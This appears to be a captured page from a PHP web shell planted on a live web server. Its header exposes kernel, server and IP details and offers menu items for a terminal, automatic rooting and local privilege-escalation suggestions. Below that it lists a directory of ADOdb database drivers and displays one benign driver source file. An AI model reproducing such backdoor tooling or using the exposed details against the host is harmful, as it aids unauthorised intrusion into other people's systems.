Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
ADOdb /
drivers /
Delete
Unzip
Name
Size
Permission
Date
Action
adodb-access.inc.php
2.15
KB
-rw-r--r--
2023-01-22 09:53
adodb-ado.inc.php
16.24
KB
-rw-r--r--
2023-01-22 09:53
adodb-ado5.inc.php
17.33
KB
-rw-r--r--
2023-01-22 09:53
adodb-ado_access.inc.php
1.48
KB
-rw-r--r--
2023-01-22 09:53
adodb-ado_mssql.inc.php
4.02
KB
-rw-r--r--
2023-01-22 09:53
adodb-ads.inc.php
19.39
KB
-rw-r--r--
2023-01-22 09:53
adodb-borland_ibase.inc.php
2.43
KB
-rw-r--r--
2023-01-22 09:53
adodb-csv.inc.php
5.09
KB
-rw-r--r--
2023-01-22 09:53
adodb-db2.inc.php
44.36
KB
-rw-r--r--
2023-01-22 09:53
adodb-db2oci.inc.php
4.31
KB
-rw-r--r--
2023-01-22 09:53
adodb-db2ora.inc.php
2.23
KB
-rw-r--r--
2023-01-22 09:53
adodb-fbsql.inc.php
6.84
KB
-rw-r--r--
2023-01-22 09:53
adodb-firebird.inc.php
33.07
KB
-rw-r--r--
2023-01-22 09:53
adodb-ibase.inc.php
22.51
KB
-rw-r--r--
2023-01-22 09:53
adodb-informix.inc.php
1.21
KB
-rw-r--r--
2023-01-22 09:53
adodb-informix72.inc.php
14.9
KB
-rw-r--r--
2023-01-22 09:53
adodb-ldap.inc.php
10.93
KB
-rw-r--r--
2023-01-22 09:53
adodb-mssql.inc.php
30.66
KB
-rw-r--r--
2023-01-22 09:53
adodb-mssql_n.inc.php
7.75
KB
-rw-r--r--
2023-01-22 09:53
adodb-mssqlnative.inc.php
34.74
KB
-rw-r--r--
2023-01-22 09:53
adodb-mssqlpo.inc.php
1.41
KB
-rw-r--r--
2023-01-22 09:53
adodb-mysqli.inc.php
50.3
KB
-rw-r--r--
2023-01-22 09:53
adodb-netezza.inc.php
5.12
KB
-rw-r--r--
2023-01-22 09:53
adodb-oci8.inc.php
47.83
KB
-rw-r--r--
2023-01-22 09:53
adodb-oci805.inc.php
1.79
KB
-rw-r--r--
2023-01-22 09:53
adodb-oci8po.inc.php
7.12
KB
-rw-r--r--
2023-01-22 09:53
adodb-oci8quercus.inc.php
2.3
KB
-rw-r--r--
2023-01-22 09:53
adodb-odbc.inc.php
18.56
KB
-rw-r--r--
2023-01-22 09:53
adodb-odbc_db2.inc.php
6.87
KB
-rw-r--r--
2023-01-22 09:53
adodb-odbc_mssql.inc.php
12.34
KB
-rw-r--r--
2023-01-22 09:53
adodb-odbc_mssql2012.inc.php
1.08
KB
-rw-r--r--
2023-01-22 09:53
adodb-odbc_oracle.inc.php
3.34
KB
-rw-r--r--
2023-01-22 09:53
adodb-odbtp.inc.php
23.2
KB
-rw-r--r--
2023-01-22 09:53
adodb-odbtp_unicode.inc.php
1.42
KB
-rw-r--r--
2023-01-22 09:53
adodb-oracle.inc.php
9.39
KB
-rw-r--r--
2023-01-22 09:53
adodb-pdo.inc.php
20.79
KB
-rw-r--r--
2023-01-22 09:53
adodb-pdo_dblib.inc.php
5.8
KB
-rw-r--r--
2023-01-22 09:53
adodb-pdo_firebird.inc.php
10.76
KB
-rw-r--r--
2023-01-22 09:53
adodb-pdo_mssql.inc.php
1.84
KB
-rw-r--r--
2023-01-22 09:53
adodb-pdo_mysql.inc.php
9.84
KB
-rw-r--r--
2023-01-22 09:53
adodb-pdo_oci.inc.php
3.41
KB
-rw-r--r--
2023-01-22 09:53
adodb-pdo_pgsql.inc.php
10.2
KB
-rw-r--r--
2023-01-22 09:53
adodb-pdo_sqlite.inc.php
6.33
KB
-rw-r--r--
2023-01-22 09:53
adodb-pdo_sqlsrv.inc.php
4.5
KB
-rw-r--r--
2023-01-22 09:53
adodb-postgres.inc.php
1008
B
-rw-r--r--
2023-01-22 09:53
adodb-postgres64.inc.php
32.3
KB
-rw-r--r--
2023-01-22 09:53
adodb-postgres7.inc.php
9.27
KB
-rw-r--r--
2023-01-22 09:53
adodb-postgres8.inc.php
2.1
KB
-rw-r--r--
2023-01-22 09:53
adodb-postgres9.inc.php
1.13
KB
-rw-r--r--
2023-01-22 09:53
adodb-proxy.inc.php
1.12
KB
-rw-r--r--
2023-01-22 09:53
adodb-sapdb.inc.php
5
KB
-rw-r--r--
2023-01-22 09:53
adodb-sqlanywhere.inc.php
3.43
KB
-rw-r--r--
2023-01-22 09:53
adodb-sqlite.inc.php
11.83
KB
-rw-r--r--
2023-01-22 09:53
adodb-sqlite3.inc.php
18.66
KB
-rw-r--r--
2023-01-22 09:53
adodb-sqlitepo.inc.php
2.05
KB
-rw-r--r--
2023-01-22 09:53
adodb-sybase.inc.php
12.27
KB
-rw-r--r--
2023-01-22 09:53
adodb-sybase_ase.inc.php
3.5
KB
-rw-r--r--
2023-01-22 09:53
adodb-text.inc.php
8.14
KB
-rw-r--r--
2023-01-22 09:53
adodb-vfp.inc.php
2.6
KB
-rw-r--r--
2023-01-22 09:53
Save
Rename
<?php /** * SAPDB data driver * * This file is part of ADOdb, a Database Abstraction Layer library for PHP. * * @package ADOdb * @link https://adodb.org Project's web site and documentation * @link https://github.com/ADOdb/ADOdb Source code and issue tracker * * The ADOdb Library is dual-licensed, released under both the BSD 3-Clause * and the GNU Lesser General Public Licence (LGPL) v2.1 or, at your option, * any later version. This means you can use it in proprietary products. * See the LICENSE.md file distributed with this source code for details. * @license BSD-3-Clause * @license LGPL-2.1-or-later * * @copyright 2000-2013 John Lim * @copyright 2014 Damien Regad, Mark Newnham and the ADOdb community */ // security - hide paths if (!defined('ADODB_DIR')) die(); if (!defined('_ADODB_ODBC_LAYER')) { include_once(ADODB_DIR."/drivers/adodb-odbc.inc.php"); } if (!defined('ADODB_SAPDB')){ define('ADODB_SAPDB',1); class ADODB_SAPDB extends ADODB_odbc { var $databaseType = "sapdb"; var $concat_operator = '||'; var $sysDate = 'DATE'; var $sysTimeStamp = 'TIMESTAMP'; var $fmtDate = "'Y-m-d'"; /// used by DBDate() as the default date format used by the database var $fmtTimeStamp = "'Y-m-d H:i:s'"; /// used by DBTimeStamp as the default timestamp fmt. var $hasInsertId = true; var $_bindInputArray = true; function ServerInfo() { $info = ADODB_odbc::ServerInfo(); if (!$info['version'] && preg_match('/([0-9.]+)/',$info['description'],$matches)) { $info['version'] = $matches[1]; } return $info; } function MetaPrimaryKeys($table, $owner = false) { $table = $this->Quote(strtoupper($table)); return $this->GetCol("SELECT columnname FROM COLUMNS WHERE tablename=$table AND mode='KEY' ORDER BY pos"); } function MetaIndexes ($table, $primary = FALSE, $owner = false) { $table = $this->Quote(strtoupper($table)); $sql = "SELECT INDEXNAME,TYPE,COLUMNNAME FROM INDEXCOLUMNS ". " WHERE TABLENAME=$table". " ORDER BY INDEXNAME,COLUMNNO"; global $ADODB_FETCH_MODE; $save = $ADODB_FETCH_MODE; $ADODB_FETCH_MODE = ADODB_FETCH_NUM; if ($this->fetchMode !== FALSE) { $savem = $this->SetFetchMode(FALSE); } $rs = $this->Execute($sql); if (isset($savem)) { $this->SetFetchMode($savem); } $ADODB_FETCH_MODE = $save; if (!is_object($rs)) { return FALSE; } $indexes = array(); while ($row = $rs->FetchRow()) { $indexes[$row[0]]['unique'] = $row[1] == 'UNIQUE'; $indexes[$row[0]]['columns'][] = $row[2]; } if ($primary) { $indexes['SYSPRIMARYKEYINDEX'] = array( 'unique' => True, // by definition 'columns' => $this->GetCol("SELECT columnname FROM COLUMNS WHERE tablename=$table AND mode='KEY' ORDER BY pos"), ); } return $indexes; } function MetaColumns ($table, $normalize = true) { global $ADODB_FETCH_MODE; $save = $ADODB_FETCH_MODE; $ADODB_FETCH_MODE = ADODB_FETCH_NUM; if ($this->fetchMode !== FALSE) { $savem = $this->SetFetchMode(FALSE); } $table = $this->Quote(strtoupper($table)); $retarr = array(); foreach($this->GetAll("SELECT COLUMNNAME,DATATYPE,LEN,DEC,NULLABLE,MODE,\"DEFAULT\",CASE WHEN \"DEFAULT\" IS NULL THEN 0 ELSE 1 END AS HAS_DEFAULT FROM COLUMNS WHERE tablename=$table ORDER BY pos") as $column) { $fld = new ADOFieldObject(); $fld->name = $column[0]; $fld->type = $column[1]; $fld->max_length = $fld->type == 'LONG' ? 2147483647 : $column[2]; $fld->scale = $column[3]; $fld->not_null = $column[4] == 'NO'; $fld->primary_key = $column[5] == 'KEY'; if ($fld->has_default = $column[7]) { if ($fld->primary_key && $column[6] == 'DEFAULT SERIAL (1)') { $fld->auto_increment = true; $fld->has_default = false; } else { $fld->default_value = $column[6]; switch($fld->type) { case 'VARCHAR': case 'CHARACTER': case 'LONG': $fld->default_value = $column[6]; break; default: $fld->default_value = trim($column[6]); break; } } } $retarr[$fld->name] = $fld; } if (isset($savem)) { $this->SetFetchMode($savem); } $ADODB_FETCH_MODE = $save; return $retarr; } function MetaColumnNames($table, $numIndexes = false, $useattnum = false) { $table = $this->Quote(strtoupper($table)); return $this->GetCol("SELECT columnname FROM COLUMNS WHERE tablename=$table ORDER BY pos"); } // unlike it seems, this depends on the db-session and works in a multiuser environment protected function _insertID($table = '', $column = '') { return empty($table) ? False : $this->GetOne("SELECT $table.CURRVAL FROM DUAL"); } /* SelectLimit implementation problems: The following will return random 10 rows as order by performed after "WHERE rowno<10" which is not ideal... select * from table where rowno < 10 order by 1 This means that we have to use the adoconnection base class SelectLimit when there is an "order by". See http://listserv.sap.com/pipermail/sapdb.general/2002-January/010405.html */ }; class ADORecordSet_sapdb extends ADORecordSet_odbc { var $databaseType = "sapdb"; } } //define